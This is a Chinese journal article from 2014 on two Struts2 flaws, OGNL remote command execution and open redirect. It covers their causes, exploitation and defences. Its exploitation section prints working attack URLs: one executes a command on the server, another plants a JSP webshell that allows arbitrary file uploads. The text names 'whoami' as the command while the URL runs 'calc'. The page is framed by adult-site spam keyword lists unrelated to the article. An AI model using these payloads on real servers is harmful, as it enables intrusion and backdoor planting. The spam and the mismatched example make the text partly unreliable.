999精品在线视频,手机成人午夜在线视频,久久不卡国产精品无码,中日无码在线观看,成人av手机在线观看,日韩精品亚洲一区中文字幕,亚洲av无码人妻,四虎国产在线观看 ?

淺析Struts2兩個安全漏洞的原理、利用與防范

2014-02-16 09:17:45廖文軍朱曉乾
電子測試 2014年20期
關鍵詞:利用

廖文軍, 朱曉乾, 萬 開

淺析Struts2兩個安全漏洞的原理、利用與防范

廖文軍, 朱曉乾, 萬 開

(上海通用識別技術研究所,201112)

Struts2是一種web開發框架,當前被廣泛應用到大型互聯網企業、政府及金融機構的網站建設中。由于Struts2的相對底層性,導致整個web系統對其安全性的依賴程度很高。近期,Apache公司公布了Struts2的兩個安全漏洞,引起業界的高度重視,本文將介紹Struts2的基本概念及這兩個漏洞形成的原理,并詳細介紹其利用方式及給出利用示例,同時在給出漏洞防范措施的基礎上對此類安全問題的防范進行總結和思考。

Struts2;Struts2漏洞;OGNL;Webwork

0 引言

隨著互聯網技術的發展以及人們對web站點的功能性需求越來越高,越來越多的結構化的通用網站架構技術被提出和應用,其中Struts2就是一種典型的web站點設計框架,它采用MVC模式,用來幫助java開發者利用J2EE快速開發web應用,且因Struts2具有開源、純pojo的Action等特點,而備受歡迎。Struts2的廣泛使用為Struts2可能的漏洞利用提供了廣袤的空間,同時也為用戶防范Struts2及相類似的安全問題敲響了警鐘。

1 Struts2基本概念

1.1 Webwork

Webwork來自一個開源組織opensymphony,且是在Xwork項目的基礎上發展而來,webwork簡潔且功能強大,完全從web層脫離,它提供了包括前端攔截、表單屬性驗證、類型轉換以及強大的表達式語言OGNL等核心功能。Webwork在處理http請求和響應時使用ServletDispatcher將http請求轉化為業務層、會話層和應用層范圍的映射,請求參數映射為Webwork2支持的多視圖表示,視圖部分可以使用JSP、Velocity、FreeMarker、JasperRepots、XML等。

1.2 Struts2

Struts2架構繼承了webwork的架構流程,而并未沿用Struts1的設計核心,但從處理流程上看,Struts2還是以控制器為重點,包括核心控制器和業務邏輯控制器,Struts2的一般處理流程如圖1所示。

圖1 Struts2的一般處理流程

Struts2核心控制器使用攔截器機制,當用戶的請求到達時,核心控制器會過濾所有的請求,并將其中的請求參數解析出來,傳入到Action中,然后調用相應的execute方法來處理用戶的請求;Struts2業務邏輯控制器Action可由用戶自定義,用戶可以使用Struts2提供的Action接口來實現具體的Action類,從而增加了代碼的可復用性且更易于測試。與此同時,Struts2的視圖層通過大量的標簽來實現,它的標簽庫不僅提供了數據處理的功能,而且還提供了諸如流程控制、Ajax支持等功能。

1.3 OGNL

2.2 節中闡述了Struts2使用標簽庫來實現很多功能,而Struts2中的標簽是通過OGNL表達式作為基礎的。OGNL是Object-Graph Navigation Language的縮寫,是一種功能強大的表達式語言,通過它簡單一致的表達式語法,可以存取對象的任意屬性,調用對象的方法,遍歷整個對象的結構圖,實現字段類型轉化等功能。OGNL支持豐富的表達式,但語法結構卻非常簡單,一個簡單的OGNL表達式如下:

name.toCharArray()[0].numericValue.toString()

這個表達式是按照如下步驟求值:

(1)獲得OGNL Context中初始對象或者是根對象(root對象)的name對象;

(2)調用toCharArray()方法,返回一個String類型對象;(3)獲得該String對象的第一個字符;

(4)獲得該字符的numericValue屬性(該字符為一個Character對象,該對象有一個getNumericValue()方法,該方法返回一個Integer類型值);

(5)將獲得的Integer對象轉換為一個String類型值(使用toString()方法)。

Struts2中的OGNL和標準OGNL的區別在于Struts2中默認將值棧(Value Stack)作為OGNL的根對象,因此在不用#標示命名空間的時候,Struts2會默認將值棧中的棧頂元素作為根對象。

2 Strcut2漏洞形成原理

近期,Struts2的兩個安全漏洞被爆出,分別為遠程命令執行漏洞和重定向漏洞,這兩種漏洞分別利用導航前綴action及重定向前綴redirect構造時未對內容做過濾和檢查,從而使得構造的數據被作為OGNL表達式執行。針對遠程執行漏洞,黑客可以通過構造特殊格式的URL地址,將要執行的命令內容寫入到URL中并將該URL提交,服務器端在解析該URL時會執行其中的命令,黑客可以通過執行不同的命令來進行獲取目標主機的信息、執行相關系統命令、上傳惡意文件、目標數據庫信息操作等操作,從而達到入侵信息系統和竊取數據的目的;而針對重定向漏洞,黑客可以將希望跳轉的網址嵌入到提交的URL中,使得用戶在訪問時自動跳轉到黑客設定的目標網頁,而這個網頁有可能是黑客精心設計的釣魚或掛馬頁面。

3 Strcut2漏洞利用

3.1 遠程執行命令漏洞利用

Apache曾在其官網上公布了Struts2漏洞的POC代碼,參照POC代碼可以構造出初級的遠程執行命令URL:http://website:port/struts2-blank/example/ HelloWorld.action?action:%25{(new+java.lang. ProcessBuilder(new+java.lang.String[]{'calc'})). start()}

在上述的URL中,whoami是要遠程執行的指令,用來顯示系統當前登錄賬戶的用戶名稱信息。通過該示例可以明顯的看出,設計合理的URL將要遠程執行的命令包含其中,并加以一定的數據回傳技術就能夠遠程執行相關程序,并在遠程查看程序的執行結果。

要想進一步的提升自己在目標系統中的權限或者長期保持對目標系統的控制,需要在目標系統中植入后門,利用Struts2遠程執行命令漏洞也能夠實現.

首先通過getServletContext()獲取目標網站的Servlet上下文對象,再通過getRealPath()獲取網站的絕對路徑信息,然后設法將webshell文件上傳,構造的URL如下所示:

http://website:port/struts2-blank/example/ HelloWorld.action?redirect:%25{%23req%

3 d%2 3 c o n t e x t.g e t('c o m.o p e n s y m p h o n y. xwork2.dispatcher.HttpServletRequest'),%23p %3d(%23req.getRealPath(%22/%22)%2b%22webshe ll.jsp%22).replaceAll("\\","/"),new+java. io.BufferedWriter(new+java.io.FileWriter(%23p)). append(%23req.getParameter(%22content%22)).close()}&co ntent=%3c%25if(request.getParameter(%22f%22)!%3dnull) (new+java.io.FileOutputStream(application.getRealP ath(%22%2f%22)%2brequest.getParameter(%22f%22))). w r i t e(r e q u e s t.g e t P a r a m e t e r(%2 2 t%2 2). getBytes())%3b%25%3e

字符轉義后為:

http://website:port/struts2-blank/example/ HelloWorld.action?redirect:${#req=

#context.get('com.opensymphony.xwork2.dispatcher. HttpServletRequest'),#p=(#req.getRealPath("/")+"webshell. j s p").r e p l a c e A l l("\\","/"),n e w+j a v a. io.BufferedWriter(new+java.io.FileWriter(#p)). a p p e n d(#r e q.g e t P a r a m e t e r("c o n t e n t")). close()}&content=<%if(request.getParameter("f")!=null)(new+java.io.FileOutputStream(application. getRealPath("%2f")+request.getParameter("f"))). write(request.getParameter("t").getBytes());%>

其中webshell.jsp為上傳后保存在目標網絡主機絕對路徑之下的文件名,content表征要寫入的文件內容,參數f表征要上傳文件的文件名,參數t表征要上傳的文件內容。

為便于本地操控端操作,構造簡單的html頁面,如圖2所示:

圖2 本地操作示例

這樣就可以根據需要將要使用的腳本內容上傳到服務器端,從而獲取webshell的權限。

在漏洞爆出以后,出現了很多集成了上述原理的漏洞利用工具,便于進行快速的實施漏洞檢測和利用,圖3給出了使用一款漏洞利用工具實際探測到存在該漏洞某站點的相關信息。

圖3 遠程指令執行漏洞利用示例

3.2 開放式重定向漏洞利用

與遠程執行命令漏洞會對目標站點服務器產生影響不同的是,開放式重定向漏洞更多的是針對普通用戶的攻擊。開放式重定向漏洞可被主要用來進行釣魚攻擊或網頁掛馬攻擊,利用該漏洞的方式也很便捷,只需把要重定向的網絡頁面地址添加到重定向參數前綴之后.

圖4 給出了利用重定向漏洞進行網頁跳轉的示意。

圖4 重定向漏洞利用示例

4 Struts2漏洞防范及思考

自從Struts2被廣泛使用以來,前后已經爆出多個框架式漏洞,盡管應用Struts2能夠為web應用開發帶來很多便捷,但Struts2的這些漏洞和缺陷給使用該框架的站點帶來了很大的安全隱患。本文分析的兩種Struts2漏洞皆因Struts2中的OGNL表達式的執行沒有進行嚴格的安全檢查,要想防范這一類型的安全問題,基本有兩種方式,一是前端檢測,這種檢測對于表單提交具有一定的效用,對于URL構造難以起到較好的檢測效果;另一類是后端檢測,即在執行OGNL之前,對URL中用戶提交的相關執行內容進行安全性檢測,甚至可以構造一個威脅指令集,凡在此集合中的指令,OGNL都將不會被執行,這樣將有效的杜絕類似遠程執行以及重定向之類漏洞的利用。

Struts2除了本文闡述的兩個漏洞之外,還存在一些其他形式的缺陷,如action屬性設計缺陷、taglib設計缺陷、HTTP Parameter Pollution處理缺陷等,這些缺陷被惡意利用時就會成為威脅web站點安全的漏洞;當然,其他的web開發框架也或多或少的存在各種形式的缺陷和漏洞。人們在利用開發框架進行軟件設計時是出于便捷、可拓展、可復用和結構化可配置的目的,但各類開發框架廣泛應用的同時,框架本身的缺陷問題有時已經超越應用程序本身的代碼和邏輯缺陷,而且一旦有框架級的缺陷和漏洞,其對整體應用系統的安全威脅將更底層、更廣泛和更深遠,因此在大規模使用各類開發框架進行程序設計和實施時應當權衡框架利用的利弊,并應當對開發框架進行更多的安全評估,才能更為有效的保障應用系統的安全。

5 結束語

本文在簡單介紹Struts2框架的基本概念和知識之后,重點闡述了Struts2的兩種漏洞,并分析和闡述了這兩種漏洞的利用方式,同時給出了針對存在該漏洞的某站點的實際利用結果示例,最后基于Struts2框架存在的各類缺陷和漏洞,以及各類web開發框架被廣泛應用的事實,對應用程序開發使用通用開發框架的利弊進行總結和分析,并指出在使用這些框架時,應對其進行更多的安全考量和評估。

[1] [美]多雷.Struts基礎教程[M].鐵手譯.北京:人民郵電出版社,2007.

[2] 武寶珠,梁聲灼,牛德雄.基于Struts2+Spring+Hibernate架構構建Web應用系統[J].計算機與現代化,2009(8):43-46.

[3] 黃宇,付琨,吳一戎.大規模目標解譯本體存儲映射模式的研究[J].計算機工程,2009(15):79-81.

Analysis of two Struts2 Security vulnerabilities Principle,Utilization and Protection

Liao Wenjun,Zhu Xiaoqian,Wan kai
(Shanghai General Recognition Technology Institute,201112)

Structs2 is a web development framework widely applied to website building in large internet companies,the government and financial institutions.As a website bottom template,the whole web system is heavily dependent on its safety.Recently Apache has revealed two security vulnerabilities of Structs2, drawing much attention.This paper introduces Structs2’s basic concept and the forming principle of its two vulnerabilities,illustrates how to utilize them with examples,and concludes with the way to prevent them.

Struts2;Struts2 vulnerabilities;OGNL;Webwork

猜你喜歡
利用
利用min{a,b}的積分表示解決一類絕對值不等式
中等數學(2022年2期)2022-06-05 07:10:50
利用倒推破難點
如何利用基本不等式比較大小
利用一半進行移多補少
利用口訣算除法
利用數的分解來思考
Roommate is necessary when far away from home
利用
回收木再利用——Piet Hein Eek
工業設計(2016年5期)2016-05-04 04:00:33
低丘緩坡未利用地的開發利用探討
河北遙感(2015年4期)2015-07-18 11:05:06
主站蜘蛛池模板: 在线观看网站国产| 最新国产午夜精品视频成人| 欧美精品黑人粗大| 天堂成人av| 国产免费观看av大片的网站| 精品黑人一区二区三区| 亚洲欧美不卡视频| 国产91精品调教在线播放| 波多野结衣一区二区三区四区| 国产日韩欧美在线播放| 亚洲日韩精品伊甸| 天天躁日日躁狠狠躁中文字幕| 无码一区二区三区视频在线播放| 国产乱子伦一区二区=| 日韩天堂在线观看| 欧美日韩中文字幕在线| 久久香蕉国产线| 激情六月丁香婷婷| 久久6免费视频| 精品国产网| 国产福利观看| 国产成人福利在线| 国产成人成人一区二区| 国产无码高清视频不卡| 萌白酱国产一区二区| 免费人成黄页在线观看国产| 国产成人一区二区| 亚洲一区网站| 欧美国产日韩在线观看| 久精品色妇丰满人妻| 亚洲人成网线在线播放va| 噜噜噜综合亚洲| 中文字幕一区二区人妻电影| 日韩久久精品无码aV| 一级做a爰片久久免费| 久久久久青草线综合超碰| 午夜少妇精品视频小电影| 999精品色在线观看| 真实国产乱子伦视频| 视频二区亚洲精品| 国产99精品久久| 亚洲精品大秀视频| 亚洲一区免费看| 欧洲av毛片| 欧美一区二区啪啪| 综合亚洲色图| 欧美日本在线一区二区三区| 91原创视频在线| 欧美午夜视频在线| 国产网站免费看| 免费精品一区二区h| 在线观看av永久| 成人福利在线免费观看| 99er这里只有精品| 自拍偷拍欧美| 成年女人a毛片免费视频| 国产菊爆视频在线观看| 久久综合色视频| 97色伦色在线综合视频| 国产区成人精品视频| 日韩午夜福利在线观看| 国产区91| 99偷拍视频精品一区二区| 国产一区二区三区在线观看视频| 国产精品香蕉| 国产成人精品一区二区三区| 国产av剧情无码精品色午夜| 国产簧片免费在线播放| 亚洲欧美一区二区三区蜜芽| 日韩精品高清自在线| 国产xx在线观看| 久久 午夜福利 张柏芝| 欧美成人在线免费| 亚洲va精品中文字幕| 免费国产在线精品一区| 日韩小视频在线观看| 亚洲第一色视频| 亚洲精品制服丝袜二区| 婷婷色一二三区波多野衣| 日本久久久久久免费网络| 中文字幕永久视频| 国产91丝袜在线观看|